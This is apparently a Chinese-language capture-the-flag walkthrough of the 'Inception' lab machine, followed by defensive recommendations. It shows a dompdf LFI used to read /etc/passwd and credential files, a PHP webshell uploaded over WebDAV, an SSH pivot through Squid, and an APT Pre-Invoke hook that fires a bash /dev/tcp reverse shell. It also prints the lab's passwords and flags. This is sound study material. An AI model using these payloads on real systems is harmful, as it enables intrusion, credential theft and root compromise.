[Meachines] [Medium] Inception DOM-PDF LFI+davtest+Squid未授权访问+ Apt Pre-Invoke权限提升
字数 1004 2025-08-29 08:29:42
Inception靶机渗透测试教学文档
1. 信息收集阶段
1.1 目标识别
- 目标IP: 10.10.10.67
- 开放端口:
- 80/tcp: Apache httpd 2.4.18 (Ubuntu)
- 3128/tcp: Squid http proxy 3.5.12
1.2 扫描技术
使用以下命令进行端口扫描和服务识别:
ip='10.10.10.67'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
2. Web应用渗透
2.1 DOM-PDF LFI漏洞利用
发现dompdf组件存在本地文件包含(LFI)漏洞:
# 发现dompdf路径
feroxbuster -u 'http://10.10.10.67/'
http://10.10.10.67/dompdf/README.md
http://10.10.10.67/dompdf/VERSION
# 利用LFI读取文件
curl 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd'
# 读取Apache配置文件
curl -s 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf' | grep -oE '[A-Za-z0-9+/=]{20,}' | tr -d '\n' | base64 -d
# 读取WebDAV密码文件
curl -s 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/var/www/html/webdav_test_inception/webdav.passwd' | grep -oE '[A-Za-z0-9+/=]{20,}' | tr -d '\n' | base64 -d
获取到WebDAV凭据:
- 用户名: webdav_tester
- 密码: babygurl69
2.2 WebDAV利用
使用davtest测试WebDAV功能并上传webshell:
# 测试WebDAV
davtest -url http://10.10.10.67/webdav_test_inception -auth webdav_tester:babygurl69
# 创建PHP webshell
echo '<?php system($_GET[cmd]); ?>' > rev.php
# 上传webshell
curl -X PUT http://webdav_tester:babygurl69@10.10.10.67/webdav_test_inception/rev.php -d @rev.php
2.3 交互式Webshell
创建交互式shell脚本:
#!/bin/bash
URL='http://webdav_tester:babygurl69@10.10.10.67/webdav_test_inception/rev.php?cmd='
while true; do
read -p "webdav-shell> " cmd
if [[ "$cmd" == "exit" ]]; then
echo "[+] Exiting shell..."
break
fi
encoded_cmd=$(echo -n "$cmd" | jq -sRr @uri)
curl -s "${URL}${encoded_cmd}"
done
3. 权限提升
3.1 获取数据库凭据
通过webshell读取WordPress配置文件:
cat /var/www/html/wordpress_4.8.3/wp-config.php
获取到:
- 用户名: root
- 密码: VwPddNh7xMZyDQoByQL4
3.2 Squid代理利用
使用Squid代理进行SSH连接:
proxychains -f ./proxychains.conf ssh cobb@127.0.0.1
获取user flag:
a5b6db2fa5bfe8a677c41ec3b01b2ba6
3.3 横向移动
使用动态端口转发:
proxychains -f ./proxychains.conf ssh -D 1080 cobb@127.0.0.1
通过新代理传输工具:
proxychains -f ./proxychains1080.conf scp pspy64 cobb@127.0.0.1:/tmp/pspy64
proxychains -f ./proxychains1080.conf scp linpeas.sh cobb@127.0.0.1:/tmp/linpeas.sh
4. 容器逃逸与宿主权限提升
4.1 C段扫描
从容器内扫描宿主网络:
nc -uzv 192.168.0.1 1-65535 2>&1 | grep -v refused
发现开放服务:
- 21/tcp: FTP
- 22/tcp: SSH
- 53/tcp: DNS
4.2 利用APT Pre-Invoke机制
发现宿主每5分钟运行apt update:
*/5 * * * * root apt update 2>&1 >/var/log/apt/custom.log
利用TFTP上传利用文件:
# 创建APT配置文件
cat > /tmp/00exp <<EOF
APT::Update::Pre-Invoke {"/bin/bash /tmp/rev.sh"}
EOF
# 创建反向shell脚本
cat > /tmp/rev.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/192.168.0.10/9911 0>&1
EOF
# 上传文件
tftp 192.168.0.1
tftp> put /tmp/00exp /etc/apt/apt.conf.d/00exp
tftp> put /tmp/rev.sh /tmp/rev.sh
4.3 获取root权限
监听反向shell:
nc -lvnp 9911
获取root flag:
d208effa777aa4489c26d2772723190c
5. 关键点总结
- DOM-PDF LFI漏洞:通过php://filter协议读取敏感文件
- WebDAV利用:通过PUT方法上传webshell获取初始立足点
- Squid代理利用:通过代理访问内部服务,实现横向移动
- APT Pre-Invoke机制滥用:利用定时任务和APT配置实现容器逃逸和权限提升
- TFTP文件传输:在受限环境中上传利用文件
6. 防御建议
- 及时更新Web组件(如dompdf)到最新版本
- 禁用WebDAV不必要的HTTP方法(PUT/DELETE等)
- 配置Squid代理的访问控制
- 限制APT配置文件的写入权限
- 监控/etc/apt/apt.conf.d/目录的变更
- 使用容器隔离技术限制容器内对宿主机的访问